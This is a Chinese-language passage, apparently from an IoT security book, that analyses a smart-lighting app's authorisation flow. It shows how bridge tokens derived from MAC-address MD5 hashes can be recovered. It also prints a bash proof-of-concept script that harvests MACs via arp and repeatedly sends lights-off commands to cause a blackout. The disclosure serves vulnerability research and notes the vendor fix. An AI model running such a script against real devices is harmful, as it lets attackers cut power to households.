物聯網裝置安全1.3 使用iOS App控制燈光

<b>1.3 使用ios app控制燈光</b>

<b></b>

使用者也可使用裝有照明系統app的iphone或ipad遠端或本地控制燈光。

當照明系統的app首次運作時，它會測試一下，看看它是否有權發送指令給本地網絡的照明系統網橋：

get /api/[username deleted] http/1.1

host: 10.0.1.2

proxy-connection: keep-alive

accept-encoding: gzip, deflate

accept: */*

accept-language: en-us

connection: keep-alive

pragma: no-cache

user-agent: hue/1.1.1 cfnetwork/609.1.4 darwin/13.0.0

username令牌被照明系統app選中。網橋的響應資訊如下：

http/1.1 200 ok

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

expires: mon, 1 aug 2011 09:00:00 gmt

connection: close

access-control-max-age: 0

access-control-allow-origin: *

access-control-allow-credentials: true

access-control-allow-methods: post, get, options, put, delete

access-control-allow-headers: content-type

content-type: application/json

[{"error":{"type":1,"address":"/","description":"unauthorized user"}}]

由于這是ios裝置首次嘗試連接配接網橋，裝置還沒有被授權。在這種情況下，使用者需要按下網橋的按鈕以證明其對裝置擁有所有權。這時，ios app會提示使用者如何做，如圖1-9所示。

圖1-9：ios app提示使用者按下網橋的實體按鈕

除此之外，ios app還會向網橋發送post請求，如下所示：

post /api http/1.1

content-type: application/x-www-form-urlencoded

content-length: 71

{"username":"[username deleted]","devicetype":"iphone 5"}

需要注意的是，這裡username字段的值要與此前發送請求的username字段的值保持一緻，但是對于某個特定裝置首次運作該ios app的情況，username字段的值是無效的。如果使用者在30秒内按下網橋上的按鈕，那麼該username字段就會被授權，就可以用來向位于本地網絡中的網橋發送指令了。

當使用者按下網橋上的按鍵之後，網橋會向ios app發送如下所示的響應資訊：

[{"success":{"username":"[username deleted]"}}]

網橋主動發送的響應資訊将username字段值回饋給ios app。至此，ios app授權就成功了，隻要它記住username字段的值，就可以向網橋發号施令了。

使用者可以使用ios app關閉所有燈光，如圖1-10所示。

當使用者從ios app上選擇關閉所有燈光時（假定使用者也位于本地網絡，如在家中），ios app會向網橋直接發送如下所示請求：

put /api/[username deleted]/groups/0/action http/1.1

content-length: 12

{"on":false}

網橋的響應資訊如下：

[{"success":{"/groups/0/action/on":false}}]

圖1-10：使用者按下ios app上的“all off”（全部關閉）按鈕

success屬性中的false值表示指令執行成功，所有燈泡都關閉了（/groups/0/action/on表示否定的狀态，也就是說，如果為false，表示開燈）。

如果裝置與使用者不在同一個網段内（比如使用者是遠端操作的），那麼ios app就需要利用門戶設施遠端向網橋發送指令。這時，ios裝置會提示使用者無法直接連接配接到網橋，如圖1-11所示。

圖1-11：照明系統app通知使用者無法連接配接到網橋

如果使用者點選圖1-11對話框中的“more”（更多）按鈕，app就會提供一個“setup away from home”（遠端設定）選項，如圖1-12所示。

圖1-12：點選“more”之後的更多選項

使用者選擇“setup away from home”（遠端設定）選項之後，app會啟動safari浏覽器并要求使用者輸入認證資訊，如圖1-13所示。這時，使用者需要輸入早先設定完成的認證（1.2節描述了如何設定認證）。

一旦使用者認證成功，就會被要求給予app授權（如圖1-14所示）。

圖1-13：ios app授權認證的登入頁面

一旦使用者選擇了yes，浏覽器就會向www.meethue.com網站發送get請求，如下所示：

get /en-us/api/getaccesstokenpost http/1.1

host: www.meethue.com

referer: https://www.meethue.com/en-us/api/getaccesstokengivepermission

accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

cookie: [deleted]

user-agent: mozilla/5.0 (iphone; cpu iphone os 6_1_4 like mac os x)

applewebkit/536.26 (khtml, like gecko) version/6.0 mobile/10b350 safari/8536.25

圖1-14：給app授權

網站伺服器給出的響應資訊如下：

content-type: text/html; charset=utf-8; charset=utf-8

cache-control: no-cache

expires: thu, 01 jan 1970 00:00:00 gmt

set-cookie: [deleted]

vary: accept-encoding

date: mon, 08 jul 2013 05:24:14 gmt

server: google frontend

content-length: 1653

&lt;!doctype html&gt;

&lt;html&gt;

  &lt;head&gt;

    &lt;meta content="0;phhueapp://sdk/login/8/[token deleted]=" http-equiv="refresh" /&gt;

[rest of html deleted for brevity]

伺服器的響應資訊将web浏覽器重定向到phhueapp://sdk/login/8/ [token deleted]，這會導緻ios app重新開機。之後ios app會獲得并儲存token值，然後ios app就能夠連接配接到www.meethue.com網站上并遠端向網橋發送指令了。

phhueapp稱為url模式（url scheme）。對于那些已經注冊了用于處理這些url模式的app，url模式能夠讓safari浏覽器和其他應用程式啟動它們。例如，在ios的safari浏覽器中輸入maps://，就可以啟動原生地圖app。在我們的例子中，照明系統app注冊了phhueapp模式，是以當safari浏覽器重定向到以phhueapp:字元串開頭的url位址時，它就會啟動照明系統app。

現在，當使用者位于遠端網段内（比如與網橋不在同一個無線網内），則其發出的指令需要通過網際網路發送給www.meethue.com。這種情況下，當使用者按下關閉全部（all off）（如圖1-10所示）時，ios app就會發送帶有之前擷取到的授權token值的請求資訊，如下所示：

post /api/sendmessage?token=[deleted} http/1.1

user-agent: hue/1.0.2 cfnetwork/609.1.4 darwin/13.0.0

content-length: 127

clipmessage={ bridgeid: "[deleted}", clipcommand: { url:

"/api/0/groups/0/action", method: "put", body:

{"on":false} } }

網橋響應如下：

content-type: application/json; charset=utf-8

set-cookie: play_flash=;path=/;expires=thu, 01 jan 1970 00:00:00 gmt

set-cookie: play_errors=;path=/;expires=thu, 01 jan 1970 00:00:00 gmt

set-cookie: play_session=;path=/;expires=thu, 01 jan 1970 00:00:00 gmt

date: mon, 06 may 2013 19:51:58 gmt

content-length: 41

{"code":200,"message":"ok","result":"ok"}

www.meethue.com響應資訊中的ok表示指令已經成功執行，所有的燈泡都關閉了。

1.3.1從移動裝置中偷取令牌

ios app将username令牌和www.meethue.com網站令牌分别命名為uniqueglobaldeviceidentifier和sdkportaltoken，儲存到iphone和ipad的library/preferences/com.philips.lighting.hue.plist檔案中。臨時通路照明使用者的移動裝置，可以擷取這些檔案并能夠遠端控制使用者照明燈泡。由于攻擊者需要擷取通路移動裝置的權限，是以這種風險的可能性較低。

1.3.2惡意軟體可導緻持續停電

在分析用例的過程中，我們學習了如何使用ios app注冊網橋username令牌。這個秘密令牌可被用在區域網路内與網橋直連的所有裝置上，并可發送授權指令控制燈泡。

我們發現，ios app采用的username令牌并不是随機生成的，而是通過對iphone或ipad的mac位址進行md5加密之後生成的哈希值。每一個網卡（不管有線的還是無線的）都可以手工設定一個獨立的mac位址。不管是有線網卡還是無線網卡，其在本地區域網路内的mac位址都可以通過執行arp指令來獲得，大多數作業系統都支援該指令。

$ arp -a -n

? (172.20.0.1) at d4:ae:52:9d:1f:49 on en0 ifscope [ethernet]

? (172.20.0.23) at 7c:7a:91:33:be:a4 on en0 ifscope [ethernet]

? (172.20.0.52) at d8:a2:5e:4b:9a:50 on en0 ifscope [ethernet]

? (172.20.0.75) at 54:e4:3a:a6:4b:0e on en0 ifscope [ethernet]

? (172.20.0.90) at c8:f6:50:08:5f:e7 on en0 ifscope [ethernet]

? (172.20.0.154) at 74:e1:b6:9f:12:66 on en0 ifscope [ethernet]

通過arp指令，我們可以知道特定裝置的mac位址。比如，ip位址為172.20.0.90的裝置的mac位址為c8:f6:50:08:5f:e7。

常用的md5算法我們稱為單向哈希。使用md5程式，我們可以計算出c8:f6:50:08:5f:e7的哈希值：

$ md5 -s "c8:f6:50:08:5f:e7"

md5 ("c8:f6:50:08:5f:e7") = 4ad1c59ad3f1c4fcdd67a55ee8f80160

這裡，我們計算出c8:f6:50:08:5f:e7的哈希值為4ad1c59ad3f1c4fcdd67a55ee8f80160。由于md5算法的單向性，很難将哈希值逆向工程得到mac位址。但是考慮這種情況，如果某台裝置感染了病毒程式（也就是惡意軟體），被種植了木馬。那麼，該惡意軟體就可以很輕松地執行arp指令，并快速計算出表中每一個mac位址的哈希值。這時，惡意軟體隻需要接入到本地網絡的照明裝置網橋，使用username的哈希值就可以關閉燈泡，最終導緻停電事件。也就是說，本地網絡中任意一台裝置上如果被植入了惡意軟體，那麼該軟體就可以直接連入網橋，并持續發送關閉燈泡的指令，造成持續停電。

假定我們有一個使用bash shell編寫的可應用在大多數unix和linux系統上的概念證明（proof-of-concept，poc）惡意程式。首先，這個惡意的腳本程式需要定位網橋的ip位址：

while [ -z "$bridge_ip" ];

do

bridge_ip=($(curl --connect-timeout 5 -s https://www.meethue.com/api/nupnp

|awk '{match($0,/[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/);

ip = substr($0,rstart,rlength); print ip}'))

# if no bridge is found, try again in 10 minutes

if [ -z "$bridge_ip" ];

then

sleep 600

fi

done

該腳本使用浏覽器通路https://www.meethue.com/api/nupnp頁面（見圖1-4）以擷取網橋的ip位址。如果擷取失敗，腳本程式會休眠10分鐘然後繼續嘗試，直到擷取到一個位于本地網絡上的網橋的ip位址。

接下來，腳本程式開始執行一個無窮循環：

while true; do

在這個無窮循環内，腳本程式首先使用arp指令擷取mac位址：

mac_addresses=( $(arp -a | awk '{print toupper($4)}')

然後，對每個擷取到的mac位址進行填充，比如mac位址1:2:3:4:5:6最終會補充為01:02:03:04:05:06：

padded_m=`echo $m |

sed "s/^\(.\):/0\1:/" |

sed "s/:\(.\):/:0\1:/g" |

sed "s/:\(.\)$/:0\1/"`

之後，腳本程式使用循環語句計算每一個mac位址的md5哈希值：

bridge_username=( $(md5 -q -s $padded_m))

接下來，腳本使用curl指令連接配接網橋，使用計算出來的username發送關燈指令：

turn_it_off=($(curl --connect-timeout 5 -s -x put http://$bridge_ip/api/

$bridge_username/groups/0/action -d {\"on\":false} | grep success))

如果指令執行成功，腳本會進入另一個無窮循環中，不斷向網橋發送關燈指令：

if [ -n "$turn_it_off" ]; then

   echo "success! it's blackout time!";

   while true;

   do

       turn_it_off=($(curl --connect-timeout 5

       -s -x put http://$bridge_ip/api/$bridge_username

         /groups/0/action -d {\"on\":false} | grep success))

      done

例1-1包含了完整的腳本代碼程式。

例1-1：hue_blackout.bash

照明系統的另一個設計缺陷是它無法登出whitelist令牌。換句話說，如果某個裝置如iphone獲得了通路網橋的授權，那麼使用者就不能取消該授權。因為這是使用mac位址執行的授權，是以被授權裝置會一直擁有通路網橋的權限。

通路hacking lightbulbs（http://bit.ly/hacking_lightbulbs）可觀看hue_blackout.bash腳本的視訊示範。

需要提醒的是，上述問題已回報給飛利浦公司，問題已經得到修複，軟體和固件更新也已經釋出了。